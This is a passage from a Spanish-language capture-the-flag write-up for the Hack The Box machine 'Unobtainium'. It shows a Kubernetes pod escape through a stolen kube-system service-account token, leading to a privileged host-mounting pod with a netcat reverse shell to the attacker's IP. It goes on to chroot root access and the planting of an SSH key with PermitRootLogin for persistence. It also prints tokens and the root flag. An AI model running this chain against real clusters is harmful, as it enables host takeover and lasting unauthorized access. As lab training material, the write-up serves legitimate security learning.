token:      eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJwZXJzaXN0ZW50LXZvbHVtZS1iaW5kZXItdG9rZW4tZmQyOTIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoicGVyc2lzdGVudC12b2x1bWUtYmluZGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZTBmNGRkMjAtNTA2ZS00NWY2LTg5Y2MtMDY4MTVlNzY5ZTk0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOnBlcnNpc3RlbnQtdm9sdW1lLWJpbmRlciJ9.QrwIUdAKVoBZcoCGn5DTDYw9EyhdA9WU2Uj5snWJo-J59iPljVBhdhdnoDEAwWXzCE76PN_EBUIF87KnAc0PUk8h5xEgykNErplvZ-7mpZI6s-wq180BTf6A4Ej-x-27Vo4pEKsFUbDLd_eY9vAIlXFoMFTheDjDgl-IXq4g0-QMDPxiGut5Z4DBc-RPmvt3csc-Wrs-ZjAhpL6PoscRqNEgsoeV5bpYbtp3kvAJ5hKdDeboj3-1H-iQL3RbDhMAyqsT-lINoDaHAImo5umWZlHeDQBDeZgNxMwqLkbBgQVCTNgcAQlt218yLi9LQLIWMOUTyyfLp0i3_TepH3rwLA

[... REDACTED ...]

root@webapp-deployment-5d764566f4-lrpt9:~/k_info# /root/kiub --token=$(cat /root/k_info/k6) --certificate-authority=/root/k_info/k6_cert --server=https://10.96.0.1:443 get secrets/persistent-volume-binder-token-fd292 -o yaml -n kube-system
<nt-volume-binder-token-fd292 -o yaml -n kube-system
apiVersion: v1
data:
  ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUM1ekNDQWMrZ0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwdGFXNXAKYTNWaVpVTkJNQjRYRFRJeE1ERXdOekV6TWpRME9Wb1hEVE14TURFd05qRXpNalEwT1Zvd0ZURVRNQkVHQTFVRQpBeE1LYldsdWFXdDFZbVZEUVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTVRDCmozSE9PMXRhaE1PUHpkNjhuYUtoQmVpYUFaM2lxdC9TY25lZ1RnbEttdHo1RGFnRUQ1WWFqWk0rVXl2UEVxUSsKdSttYjFaYzFLYnJjMkZnM0M0OEJZN09JUDZHZk9YOTkwUERLSmhxWnRhT0FkY1U1R2ExYXZTK2wzZG82VjJrQwplVnN0d1g2U1ZJYnpHSkVVeE1VUGlac0Z0Nkhzdk43aHRQMVA1Z2V3d3Rnc1ZJWER5TGwvZVJmd0NuMlpXK24zCk5nQzRPSTg0empWSHBYbVhGYUdzZURIYi9FNHdLL04waE1EMERFVlBKc0VPb2dITTlMbmRVZ3lKbWhBdFdiRWoKMjUrSDhBd1FpMy84UFlORXNtdFNBVUV1V3RZMzZweC9zRDVDdGhpTmxOcGtCNXQ1YzFHSzkwRG15b2ZxQmdZdgo5d2tDTkdHWktwM0F4TU1OMm5zQ0F3RUFBYU5DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQTBHQ1NxR1NJYjMKRFFFQkN3VUFBNElCQVFBSEpqbzhVYzNTSDFVbnNLU3daSlR1eWozNlcvbXNiTXIwcFNuM2RsRTZCb3V1a2hGMwo5R3htVmEyYW40L1ZGSmtBc1pTcUZVejFlNTJxdkpvRkpjWGVjNE1pTjZHWlRXdVVBOUQvanFpYXBuSFdlTzh4ClJHazRXTjY2WnJhTTBYM1BxYUhvK2NiZmhLT2xMOWprVXh2RSszQld1ajlwbHlEM245dEZlM2xuYXNEZnp5NE0KcTQ2NWl4UFpxRnFWY2h4UUZRK3BaMjRLaXFvUVc0bWFtL3g1RlB5MTMrTXc4SjR6Yjh2TGR1dkxRUjN3cFVHYgp2S1hkbktPTFdzaUV4eXJqcFpqWmJZQkw4YjcwNVhGRkd2bWFicDIxYUc4cHNCMVh2c0xpR0ZRRXF5RGZlRlJXCmhsN0twVUlTbDQrTnA1c0FpWE53dGJTREUrMjJRVnRaYnVEbgotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
  namespace: a3ViZS1zeXN0ZW0=
  token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklrcE9kbTlpWDFaRVRFSjJRbFpGYVZwQ2VIQjZUakJ2YVdORWFsbHRhRTFVTFhkQ05XWXRiMkpXVXpnaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKd1pYSnphWE4wWlc1MExYWnZiSFZ0WlMxaWFXNWtaWEl0ZEc5clpXNHRabVF5T1RJaUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNXVZVzFsSWpvaWNHVnljMmx6ZEdWdWRDMTJiMngxYldVdFltbHVaR1Z5SWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXpaWEoyYVdObExXRmpZMjkxYm5RdWRXbGtJam9pWlRCbU5HUmtNakF0TlRBMlpTMDBOV1kyTFRnNVkyTXRNRFk0TVRWbE56WTVaVGswSWl3aWMzVmlJam9pYzNsemRHVnRPbk5sY25acFkyVmhZMk52ZFc1ME9tdDFZbVV0YzNsemRHVnRPbkJsY25OcGMzUmxiblF0ZG05c2RXMWxMV0pwYm1SbGNpSjkuUXJ3SVVkQUtWb0JaY29DR241RFREWXc5RXloZEE5V1UyVWo1c25XSm8tSjU5aVBsalZCaGRoZG5vREVBd1dYekNFNzZQTl9FQlVJRjg3S25BYzBQVWs4aDV4RWd5a05FcnBsdlotN21wWkk2cy13cTE4MEJUZjZBNEVqLXgtMjdWbzRwRUtzRlViRExkX2VZOXZBSWxYRm9NRlRoZURqRGdsLUlYcTRnMC1RTURQeGlHdXQ1WjREQmMtUlBtdnQzY3NjLVdycy1aakFocEw2UG9zY1JxTkVnc29lVjVicFlidHAza3ZBSjVoS2REZWJvajMtMUgtaVFMM1JiRGhNQXlxc1QtbElOb0RhSEFJbW81dW1XWmxIZURRQkRlWmdOeE13cUxrYkJnUVZDVE5nY0FRbHQyMTh5TGk5TFFMSVdNT1VUeXlmTHAwaTNfVGVwSDNyd0xB
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: persistent-volume-binder
    kubernetes.io/service-account.uid: e0f4dd20-506e-45f6-89cc-06815e769e94
  creationTimestamp: "2021-01-17T07:10:54Z"
  name: persistent-volume-binder-token-fd292
  namespace: kube-system
  resourceVersion: "223"
  uid: a304e75b-489a-4e3c-8091-4f6984df4009
type: kubernetes.io/service-account-token

Finalmente decodificamos y creamos los archivos de token y ca.cert, tambien creamos una variable para poder interactuar con estos archivos.

1
2
3
4
5
6
7
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# ls -lah
total 16K
drwxr-xr-x 2 root root 4.0K Jun 16 08:53 .
drwxr-xr-x 3 root root 4.0K Jun 16 08:52 ..
-rw-r--r-- 1 root root 1.1K Jun 16 08:52 ca.crt
-rw-r--r-- 1 root root  978 Jun 16 08:53 token
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# export k="/root/kiub --token=$(cat /root/k_info/new/token) --certificate-authority=/root/k_info/new/ca.crt --server=https://10.96.0.1:443"

Escaping From The Pod

Confirmamos que podemos crear y listar pods en kube-system, con ello podriamos crear un nuevo pod utilizando un archivo yaml que nos de acceso privilegiado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# $k auth can-i create pods -n kube-system
<_info/new# $k auth can-i create pods -n kube-system
yes
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# $k get pods -o wide -n kube-system
$k get pods -o wide -n kube-system
NAME                                  READY   STATUS             RESTARTS   AGE    IP             NODE          NOMINATED NODE   READINESS GATES
backup-pod                            0/1     CrashLoopBackOff   289        148d   172.17.0.4     unobtainium   <none>           <none>
coredns-74ff55c5b-sclll               1/1     Running            31         150d   172.17.0.10    unobtainium   <none>           <none>
etcd-unobtainium                      1/1     Running            0          18h    10.10.10.235   unobtainium   <none>           <none>
kube-apiserver-unobtainium            1/1     Running            0          18h    10.10.10.235   unobtainium   <none>           <none>
kube-controller-manager-unobtainium   1/1     Running            34         150d   10.10.10.235   unobtainium   <none>           <none>
kube-proxy-zqp45                      1/1     Running            31         150d   10.10.10.235   unobtainium   <none>           <none>
kube-scheduler-unobtainium            1/1     Running            31         150d   10.10.10.235   unobtainium   <none>           <none>
storage-provisioner                   1/1     Running            63         150d   10.10.10.235   unobtainium   <none>           <none>

Siguiendo el post Kubernetes Namespace Breakout y Escaping from the pod, realizamos algunos pasos para obtener una shell. Inicialmente enumeramos las imagenes existentes mediante los pods, luego modificamos el archivo de ejemplo utilizando una de las imagenes, en este caso dev-alpine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# $k get pods -n kube-system -o=jsonpath='{range .items[*]}{"\n"}{.metadata.name}{":\t"}{range .spec.containers[*]}{.image}{", "}{end}{end}' |sort
backup-pod: localhost:5000/dev-alpine,
coredns-74ff55c5b-sclll:    k8s.gcr.io/coredns:1.7.0,
etcd-unobtainium:   k8s.gcr.io/etcd:3.4.13-0,
kube-apiserver-unobtainium: k8s.gcr.io/kube-apiserver:v1.20.0,
kube-controller-manager-unobtainium:    k8s.gcr.io/kube-controller-manager:v1.20.0,
kube-proxy-zqp45:   k8s.gcr.io/kube-proxy:v1.20.0,
kube-scheduler-unobtainium: k8s.gcr.io/kube-scheduler:v1.20.0,
storage-provisioner:    gcr.io/k8s-minikube/storage-provisioner:v4,
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new#

Ping

Agregamos un pequeño ping hacia nuestra maquina como un pequeño test.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: podsito
  name: podsito
spec:
  hostPID: true
  hostIPC: true
  hostNetwork: true
  volumes:
  - name: host-fs
    hostPath:
      path: /
  containers:
  - image: localhost:5000/dev-alpine
    name: podsito
    command: ["/bin/sh", "-c", "ping -c 1 10.10.14.10"]
    securityContext:
      privileged: true
      allowPrivilegeEscalation: true
    volumeMounts:
    - name: host-fs
      mountPath: /host
  restartPolicy: Never

Creamos el pod (podsito), luego vemos que localmente obtuvimos ping desde la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# POD
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# $k apply -f podsito.yaml --namespace=kube-system
$k apply -f edit.yaml --namespace=kube-system
</new# $k apply -f edit.yaml --namespace=kube-system
pod/podsito created
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new#

# LOCAL
 π ~/htb/unobtainium/www ❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
06:40:12.930534 IP unobtainium.htb > 10.10.14.10: ICMP echo request, id 5387, seq 0, length 64
06:40:12.930572 IP 10.10.14.10 > unobtainium.htb: ICMP echo reply, id 5387, seq 0, length 64

Shell - Root

Modificamos nuevamente el archivo agregando una shell inversa dentro de command.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: podsito
  name: podsito
spec:
  hostPID: true
  hostIPC: true
  hostNetwork: true
  volumes:
  - name: host-fs
    hostPath:
      path: /
  containers:
  - image: localhost:5000/dev-alpine
    name: podsito
    command: ["/bin/sh", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 1330 >/tmp/f"]
    securityContext:
      privileged: true
      allowPrivilegeEscalation: true
    volumeMounts:
    - name: host-fs
      mountPath: /host
  restartPolicy: Never

Tras la creacion del pod obtuvimos una shell como root y, vemos la direccion /host que es donde se encuentra la direccion raiz del nodo, se ejecuta chroot para hacerlo accesible a nosotros.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 π ~ ❯ rlwrap nc -lvp 1330
listening on [any] 1330 ...
connect to [10.10.14.10] from unobtainium.htb [10.10.10.235] 44533
/bin/sh: can't access tty; job control turned off
/ # whoami
root
/ # ls -lah
total 68K
drwxr-xr-x    1 root     root        4.0K Jun 16 11:07 .
drwxr-xr-x    1 root     root        4.0K Jun 16 11:07 ..
-rwxr-xr-x    1 root     root           0 Jun 16 11:07 .dockerenv
drwxr-xr-x    2 root     root        4.0K Feb 21 22:43 bin
drwxr-xr-x   13 root     root        3.7K Jun 16 11:07 dev
drwxr-xr-x    1 root     root        4.0K Jun 16 11:07 etc
drwxr-xr-x    2 root     root        4.0K Feb 21 22:43 home
drwxr-xr-x   19 root     root        4.0K Feb 22 00:04 host
drwxr-xr-x    7 root     root        4.0K Feb 21 22:43 lib
drwxr-xr-x    5 root     root        4.0K Feb 21 22:43 media
drwxr-xr-x    2 root     root        4.0K Feb 21 22:43 mnt
drwxr-xr-x    2 root     root        4.0K Feb 21 22:43 opt
dr-xr-xr-x  424 root     root           0 Jun 15 14:12 proc
drwx------    2 root     root        4.0K Feb 21 22:43 root
drwxr-xr-x    1 root     root        4.0K Jun 16 11:07 run
drwxr-xr-x    2 root     root        4.0K Feb 21 22:43 sbin
drwxr-xr-x    2 root     root        4.0K Feb 21 22:43 srv
dr-xr-xr-x   13 root     root           0 Jun 15 14:13 sys
drwxrwxrwt    1 root     root        4.0K Jun 16 11:07 tmp
drwxr-xr-x    7 root     root        4.0K Feb 21 22:43 usr
drwxr-xr-x   12 root     root        4.0K Feb 21 22:43 var
/ # chroot /host/ bash

Actualizamos nuestra shell con python y realizamos la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash");'
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@unobtainium:/# cd
root@unobtainium:~# ls -lah
total 40K
drwx------  6 root root 4.0K Mar 24 10:36 .
drwxr-xr-x 19 root root 4.0K Feb 22 00:04 ..
lrwxrwxrwx  1 root root    9 Jan 18 03:44 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
drwx------  2 root root 4.0K Feb 22 00:08 .cache
drwxr-x---  3 root root 4.0K Jan  8 13:26 .kube
drwxr-xr-x  3 root root 4.0K Jan 18 05:11 .local
drwxr-xr-x 10 root root 4.0K Jan 17 06:23 .minikube
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rwxr-xr-x  1 root root 3.3K Feb 15 18:34 pod_cleanup.py
-rw-r--r--  1 root root   33 Jun 15 15:14 root.txt
root@unobtainium:~# cat root.txt
8a812ffde94e627a507cfb24937dade1
root@unobtainium:~#

Estable Shell - SSH

El pod (podsito) no podia ser accedido atravez de bash utilizando kubectl ya que mostraba un error o simplemente no dejaba.

1
2
3
4
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# $k exec -it podsito -n kube-system -- bash
<nfo/new# $k exec -it podsito -n kube-system -- bash
error: cannot exec into a container in a completed pod; current phase is Failed
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new#

La shell que obtuvimos moría en cierto tiempo por lo que creamos el archivo authorized_keys en /root/.ssh/ y agregamos nuestra clave publica, tambien agregamos al archivo /etc/ssh/ssh-config la opcion de permitir al usuario root ingresar por le servicio SSH.

1
2
3
4
5
chroot /host/ bash
python3 -c 'import pty; pty.spawn("/bin/bash");'
root@unobtainium:/# echo "PermitRootLogin yes" >> /etc/ssh/ssh-config && service sshd restart
root@unobtainium:/# mkdir /root/.ssh
root@unobtainium:/# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyDKIwM8Tc5baeLnWchM6wLnLcyFuZDEf5x6iboAW75NquPu0/cB7UXw+5OBH36P9AuLKUjxxPPXn4rQa7pd7YBPGtXNkQoJci6M6Z/msdlXN8JXCco3jV+DL5+RmJX51Fh8ZRogzA/CaClRvKX8b0pyROiAarsKC8rmFZzhl39hSgFXXdR7NwBY8knPGuhY3HoECX7VCj+l34qLjajyO1hKMTAn9yqpUFJ9P7NLjI0qVpW9xBCAkVPjhPtl3O8ed1yd51mj8iJYMN34qR3U2S1tTDWT3s5dBNnbUHLfweFigAn4XqDTcFwbP62ydH1y/j1hGW88+gYb5LCyLdifogRdKV3dn1+hGgXgD1pNWv2HJ/1IJhWij2q7j/cvJO5zN7LnGPwmzAyDOUSvLcpf94b10z+X9Hyz6v4CxDmfKvTrakI7WoYiBGXwbC+zlb9RNbg+oHGSEapPtL56UCdJKfC/TvFbs/q+Nuq41ULJNERZ19qIyxCshQtisKwFY2If8= kali@kali" > /root/.ssh/authorized_keys

Con ello logramos obtener una shell más comoda.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
π ~/htb/unobtainium/www ❯ ssh root@unobtainium.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 16 Jun 2021 12:25:35 PM BST

  System load:              0.25
  Usage of /:               63.3% of 13.22GB
  Memory usage:             28%
  Swap usage:               0%
  Processes:                411
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for ens192:  10.10.10.235
  IPv6 address for ens192:  dead:beef::250:56ff:feb9:5dcc

  => There are 113 zombie processes.


0 updates can be installed immediately.
0 of these updates are security updates.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Feb 22 00:08:29 2021
root@unobtainium:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe